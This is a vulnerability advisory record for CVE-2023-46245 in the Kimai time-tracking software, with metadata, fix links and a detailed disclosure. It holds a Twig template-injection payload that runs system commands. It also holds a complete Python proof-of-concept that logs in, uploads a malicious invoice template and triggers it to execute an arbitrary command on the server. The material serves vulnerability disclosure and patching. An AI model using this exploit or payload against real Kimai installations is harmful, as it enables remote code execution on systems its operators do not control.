{"id":"CVE-2023-46245","aliases":["GHSA-fjhg-96cp-6fcw"],"url":"https://o3.security/vulnerability/CVE-2023-46245","summary":"Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File","details":"# Description\n\nThe laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.\n\nSnippet of Vulnerable Code: \n\n```php\npublic function render(array $timesheets, TimesheetQuery $query): Response\n{\n    ...\n    $content = $this->twig->render($this->getTemplate(), array_merge([\n        'entries' => $timesheets,\n        'query' => $query,\n        ...\n    ], $this->getOptions($query)));\n    ...\n    $content = $this->converter->convertToPdf($content, $pdfOptions);\n    ...\n    return $this->createPdfResponse($content, $context);\n}\n```\n\nThe vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.\n\nIn below, you can find the docker-compose file was used for this testing:\n\n```yaml\nversion: '3.5'\nservices:\n\n  sqldb:\n    image: mysql:5.7\n    environment:\n      - MYSQL_ROOT_HOST='%'\n      - MYSQL_DATABASE=kimai\n      - MYSQL_USER=kimaiuser\n      - MYSQL_PASSWORD=kimaipassword\n      - MYSQL_ROOT_PASSWORD=changemeplease\n\n    ports:\n      - 3336:3306\n    volumes:\n      - mysql:/var/lib/mysql\n    command: --default-storage-engine innodb\n    restart: unless-stopped\n    healthcheck:\n      test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  nginx:\n    image: tobybatch/nginx-fpm-reverse-proxy\n    ports:\n      - 8001:80\n    volumes:\n      - public:/opt/kimai/public:ro\n    restart: unless-stopped\n    depends_on:\n      - kimai\n    healthcheck:\n      test:  wget --spider http://nginx/health || exit 1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  kimai: # This is the latest FPM image of kimai\n    image: kimai/kimai2:fpm-prod\n    environment:\n      - ADMINMAIL=admin@kimai.local\n      - ADMINPASS=changemeplease\n      - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai\n      - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2\n      - memory_limit=1024\n    volumes:\n      - public:/opt/kimai/public\n      # - var:/opt/kimai/var\n      # - ./ldap.conf:/etc/openldap/ldap.conf:z\n      # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z\n    restart: unless-stopped\n\n  phpmyadmin:\n    image: phpmyadmin\n    restart: always\n    ports:\n      - 8081:80\n    environment:\n      - PMA_ARBITRARY=1\n\n\n\n  postfix:\n    image: catatnight/postfix:latest\n    environment:\n      maildomain: neontribe.co.uk\n      smtp_user: kimai:kimai\n    restart: unless-stopped\n\nvolumes:\n    var:\n    public:\n    mysql:\n```\n\nSteps to Reproduce (Manually):\n1- Upload a malicious Twig file to the server containing the following payload ```{{['id>/tmp/pwned']|map('system')|join}}```\n2- Trigger the SSTI vulnerability by downloading the invoices.\n3- The malicious code gets executed, leading to RCE.\n4- /tmp/pwned file will be created on the target system\n\nI've also attached an automated script to ease up the process of reproducing:\n # Proof of Concept\n```python\nimport requests\nimport re\nimport string\nimport random\nimport sys\n\nsession = requests.session()\nBASE_URL = sys.argv[1]\n\n\ndef generate(size=6, chars=string.ascii_uppercase + string.digits):\n    return ''.join(random.choice(chars) for _ in range(size))\n\n\ndef get_csrf(path, session):\n    try:\n        project_id = \"\"\n        csrf_token = \"\"\n        preview_id = \"\"\n        template_ids = []\n        activity_customer_list = []\n        \n        csrf_login_response = session.get(f\"{BASE_URL}{path}\").text\n        \n        # Extract CSRF Token\n        pattern = re.compile(r'<input[^>]*?name=[\"\\'].*?token[^\"\\']*[\"\\'][^>]*?value=[\"\\'](.*?)[\"\\'][^>]*?>', re.IGNORECASE)\n        match = pattern.search(csrf_login_response)\n        if match:\n            csrf_token = match.group(1)\n        \n        if \"performSearch\" in path:\n            preview_pattern = re.compile(r'<div[^>]*id=\"preview-token\"[^>]*data-value=\"(.*?)\"[^>]*>', re.IGNORECASE)\n            preview_match = preview_pattern.search(csrf_login_response)\n            if preview_match:\n                preview_id = preview_match.group(1)\n\n        \n        template_pattern = re.compile(r'<option value=\"(\\d+)\" selected=\"selected\">', re.IGNORECASE)\n        template_matches = template_pattern.findall(csrf_login_response)\n        if template_matches:\n            template_ids = [int(id) for id in template_matches]\n        \n        if \"timesheet\" in path:\n            option_pattern = re.compile(r'<option value=\"(\\d+)\" data-customer=\"(\\d+)\" data-currency=\"EUR\">', re.IGNORECASE)\n            option_matches = option_pattern.findall(csrf_login_response)\n            if option_matches:\n                activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]\n        \n        if \"project\" in path or \"activity\" in path:\n            project_id_match = re.search(r'<option value=\"(\\d+)\"[^>]*data-currency=\"EUR\"[^>]*>', csrf_login_response)\n            if project_id_match:\n                project_id = project_id_match.group(1)\n        \n        return csrf_token, project_id, preview_id, template_ids, activity_customer_list\n    \n    except Exception as e:\n        print(f\"Error occurred: {e}\")\n        return None, None, None, None, None\n\n\ndef login(username,password,csrf,session):\n    try:\n        params = {\"_username\": username, \"_password\": password, \"_csrf_token\": csrf}\n        login_response = session.post(f\"{BASE_URL}/login_check\", data=params, allow_redirects=True)\n        if \"I forgot my password\" not in login_response.text:\n            print(f\"[+] Logged in: {username}\")\n            return session\n        else:\n            print(\"Wrong username,password\", username)\n            exit(1)\n    except Exception as e:\n        print(str(e))\n        pass\n\ndef create_customer(token,name,session):\n    try:\n\n        data = {\n            'customer_edit_form[name]': (None, name),\n            'customer_edit_form[color]': (None, ''),\n            'customer_edit_form[comment]': (None, 'xx'),\n            'customer_edit_form[address]': (None, 'xx'),\n            'customer_edit_form[company]': (None, ''),\n            'customer_edit_form[number]': (None, '0002'),\n            'customer_edit_form[vatId]': (None, ''),\n            'customer_edit_form[country]': (None, 'DE'),\n            'customer_edit_form[currency]': (None, 'EUR'),\n            'customer_edit_form[timezone]': (None, 'UTC'),\n            'customer_edit_form[contact]': (None, ''),\n            'customer_edit_form[email]': (None, ''),\n            'customer_edit_form[homepage]': (None, ''),\n            'customer_edit_form[mobile]': (None, ''),\n            'customer_edit_form[phone]': (None, ''),\n            'customer_edit_form[fax]': (None, ''),\n            'customer_edit_form[budget]': (None, '0.00'),\n            'customer_edit_form[timeBudget]': (None, '0:00'),\n            'customer_edit_form[budgetType]': (None, ''),\n            'customer_edit_form[visible]': (None, '1'),\n            'customer_edit_form[billable]': (None, '1'),\n            'customer_edit_form[invoiceTemplate]': (None, ''),\n            'customer_edit_form[invoiceText]': (None, ''),\n            'customer_edit_form[_token]': (None, token),\n        }\n\n\n        response = session.post(f\"{BASE_URL}/admin/customer/create\", files=data)\n\n    except Exception as e:\n        print(str(e))\n\n\ndef create_project(token, name,project_id ,session):\n    try:\n        form_data = {\n            'project_edit_form[name]': (None, name),\n            'project_edit_form[color]': (None, ''),\n            'project_edit_form[comment]': (None, ''),\n            'project_edit_form[customer]': (None, project_id), \n            'project_edit_form[orderNumber]': (None, ''),\n            'project_edit_form[orderDate]': (None, ''),\n            'project_edit_form[start]': (None, ''),\n            'project_edit_form[end]': (None, ''),\n            'project_edit_form[budget]': (None, '0.00'),\n            'project_edit_form[timeBudget]': (None, '0:00'),\n            'project_edit_form[budgetType]': (None, ''),\n            'project_edit_form[visible]': (None, '1'),\n            'project_edit_form[billable]': (None, '1'),\n            'project_edit_form[globalActivities]': (None, '1'),\n            'project_edit_form[invoiceText]': (None, ''),\n            'project_edit_form[_token]': (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}/admin/project/create\", files=form_data)\n        \n    except Exception as e:\n        print(str(e))\n\n\ndef create_activity(token, name,project_id ,session):\n    try:\n        form_data = {\n            'activity_edit_form[name]': (None, name),\n            'activity_edit_form[color]': (None, ''),\n            'activity_edit_form[comment]': (None, ''),\n            'activity_edit_form[project]': (None, ''),\n            'activity_edit_form[budget]': (None, '0.00'),\n            'activity_edit_form[timeBudget]': (None, '0:00'),\n            'activity_edit_form[budgetType]': (None, ''),\n            'activity_edit_form[visible]': (None, '1'),\n            'activity_edit_form[billable]': (None, '1'),\n            'activity_edit_form[invoiceText]': (None, ''),\n            'activity_edit_form[_token]': (None, token),\n        }\n        \n        response = session.post(f\"{BASE_URL}/admin/activity/create\", files=form_data)\n        \n        if response.status_code == 201:\n            print(f\"[+] Activity created: {name}\")\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n\ndef upload_malicious_document(token,session):\n    try:\n        form_data = {\n            'invoice_document_upload_form[document]': ('din.pdf.twig', f\"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>\", 'text/x-twig'),\n            'invoice_document_upload_form[_token]': (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}/invoice/document_upload\", files=form_data)\n        \n        if \".pdf.twig\" in response.text:\n            print(\"[+] Twig uploaded successfully!\")\n        else:\n            print(\"[-] Error while uploading, exiting..\")\n            exit(1)\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\nimport re\n\ndef create_malicious_template(token, name, session):\n    try:\n        data = {\n            'invoice_template_form[name]': name,\n            'invoice_template_form[title]': name,\n            'invoice_template_form[company]': name,\n            'invoice_template_form[vatId]': '',\n            'invoice_template_form[address]': '',\n            'invoice_template_form[contact]': '',\n            'invoice_template_form[paymentTerms]': '',\n            'invoice_template_form[paymentDetails]': '',\n            'invoice_template_form[dueDays]': '30',\n            'invoice_template_form[vat]': '0.000',\n            'invoice_template_form[language]': 'en',\n            'invoice_template_form[numberGenerator]': 'default',\n            'invoice_template_form[renderer]': 'din',\n            'invoice_template_form[calculator]': 'default',\n            'invoice_template_form[_token]': token\n        }\n        \n        response = session.post(f\"{BASE_URL}/invoice/template/create\", data=data)\n        \n        # Define the regex pattern to capture the template ID and match the name\n        pattern = re.compile(fr'<tr class=\"modal-ajax-form open-edit\" data-href=\"/en/invoice/template/(\\d+)/edit\">\\s*<td class=\"alwaysVisible col_name\">{re.escape(name)}</td>', re.DOTALL)\n        \n        # Search the response text with the regex pattern\n        match = pattern.search(response.text)\n        \n        if match:\n            template_id = match.group(1)  # Extract the captured group\n            print(f\"[+] Malicious Template: {name}, Template ID: {template_id}\")\n            return template_id  # Return the captured template ID\n        else:\n            print(\"[-] Failed to capture the template ID\")\n            create_malicious_template(token,name,session)\n        \n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n        exit(1)\n\n\n\n\ndef create_timesheet(token, activity, project, session):\n    form_data = {\n            'timesheet_edit_form[begin_date]': (None, '01/01/1980'),\n            'timesheet_edit_form[begin_time]': (None, '12:00 AM'),\n            'timesheet_edit_form[duration]': (None, '0:15'),\n            'timesheet_edit_form[end_time]': (None, '12:15 AM'),\n            'timesheet_edit_form[customer]': (None, ''),\n            'timesheet_edit_form[project]': (None, project),\n            'timesheet_edit_form[activity]': (None, activity),\n            'timesheet_edit_form[description]': (None, ''),\n            'timesheet_edit_form[fixedRate]': (None, ''),\n            'timesheet_edit_form[hourlyRate]': (None, ''),\n            'timesheet_edit_form[billableMode]': (None, 'auto'),\n            'timesheet_edit_form[_token]': (None, token)\n        }\n    response = session.post(f\"{BASE_URL}/timesheet/create\", files=form_data,allow_redirects=False)\n    if response.status_code == 302:  # Changed to 200 as 301 is for redirection\n        print(f\"[+] Created a new timesheet\")\n\n\n##############################\n\n\n\n\n\n# login\ncsrf, _, _, _, _ = get_csrf(\"/login\", session) \n# login(\"admin\", \"password\", csrf, session)\nlogin(sys.argv[2],sys.argv[3],csrf,session)\n# create new customer\n\nget_customer_token, _, _, _, _ = get_csrf(\"/admin/customer/create\", session)  \ncustomer_name = generate()\ncreate_customer(get_customer_token, customer_name, session)\n# create new project with customer_name\n\nget_project_token, customer_id, _, _, _ = get_csrf(\"/admin/project/create\", session)  \nproject_name = generate()\ncreate_project(get_project_token, project_name, customer_id, session)\n\n# create new activity \nget_activity_token, project_id, _, _, _ = get_csrf(\"/admin/activity/create\", session)\nactivity_name = generate()\ncreate_activity(get_activity_token, activity_name, project_id, session)\n\n# EXPLOIT\n######################\n\n# upload malicious file\nupload_token, _, _, _, _ = get_csrf(\"/invoice/document_upload\", session)\nupload_malicious_document(upload_token, session)\n\n# create malicious template to trigger the SSTI\nget_template_token, _, _, _, _ = get_csrf(\"/invoice/template/create\", session)\ntemplate = generate()\ntemp_id = create_malicious_template(get_template_token, template, session)\n\n# create a timesheet with project_id and activity_id\nactivity_customer_list = get_csrf(\"/timesheet/create\", session)[4]  # get the activity_customer_list from get_csrf function\n\nprint(f\"[+] Constructing renderer URLs..\")\n# iterate through all relative project_ids and customer_id for exploit stabiliy\nfor activity_id, customer_id in activity_customer_list:\n    csrf = get_csrf(\"/timesheet/create\", session)[0]  # Update CSRF token for each iteration\n    print(f\"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}\")\n    create_timesheet(csrf, activity_id, customer_id, session)\n    postData = {\n        \"searchTerm\": \"\",\n        \"daterange\": \"\",\n        \"state\": \"1\",\n        \"billable\": \"0\",\n        \"exported\": \"1\",\n        \"orderBy\": \"begin\",\n        \"order\": \"DESC\",\n        \"exporter\": \"pdf\"\n    }\n    # export timesheets so they appear in exported invoices\n    export = session.post(f\"{BASE_URL}/timesheet/export/\", data=postData).text\n    if \"PDF-1.4\" in export:\n        csrf, _, _, _, _ = get_csrf(\"/invoice/\", session)\n        # get preview token to construct the preview URL to trigger SSTI\n        csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f\"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}\", session)\n        for template_id in template_ids:\n            rendererURL = f\"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}\"\n            # trigger the payload by visiting the renderer URL \n            rce = session.get(rendererURL)\n            \n            if \"PDF-1.4\" in rce.text:\n                print(rendererURL)\n                print(\"[+] successfully executed payload\")\n                # save the pdf locally since rendered URL will expire as soon as we end the session\n                pdf = f\"{generate()}.pdf\"\n                with open(pdf,'wb') as pdfFile:\n                    pdfFile.write(rce.content)\n                    pdfFile.flush()\n                    pdfFile.close()\n                    print(f\"[+] Saved results with name: {pdf}\")\n                exit(1)\n\nprint(\"[-] Failed to execute payload, try to trigger manually..\")\n```\n\nwhich can be executed as such:\n```bash\n$ python3 spl0it.py http://localhost:8001/en admin password \"ls -la\"\n```\n\nthis will download the rendered file which will contain the results of the RCE:\n\n![kimaiRCE](https://user-images.githubusercontent.com/32583633/271780813-dd62020e-8ac8-4902-bc70-5503a9362e40.png)\n\n\n# Impact\n\nRemote Code Execution","published":"2023-10-31T15:06:23.359Z","modified":"2026-08-12T03:51:28.962487141Z","cvss":{"score":7.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Packagist","name":"kimai/kimai","fixedVersion":"2.1.0"}],"fix":{"url":"https://github.com/kimai/kimai/commit/38e37f1c2e91e1acb221ec5c13f11b735bd50ae4","label":"kimai/kimai@38e37f1"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/46xxx/CVE-2023-46245.json"},{"type":"ADVISORY","url":"https://github.com/kimai/kimai/security/advisories/GHSA-fjhg-96cp-6fcw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-46245"},{"type":"FIX","url":"https://github.com/kimai/kimai/commit/38e37f1c2e91e1acb221ec5c13f11b735bd50ae4"},{"type":"PACKAGE","url":"https://github.com/kimai/kimai"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:28.962487141Z"}}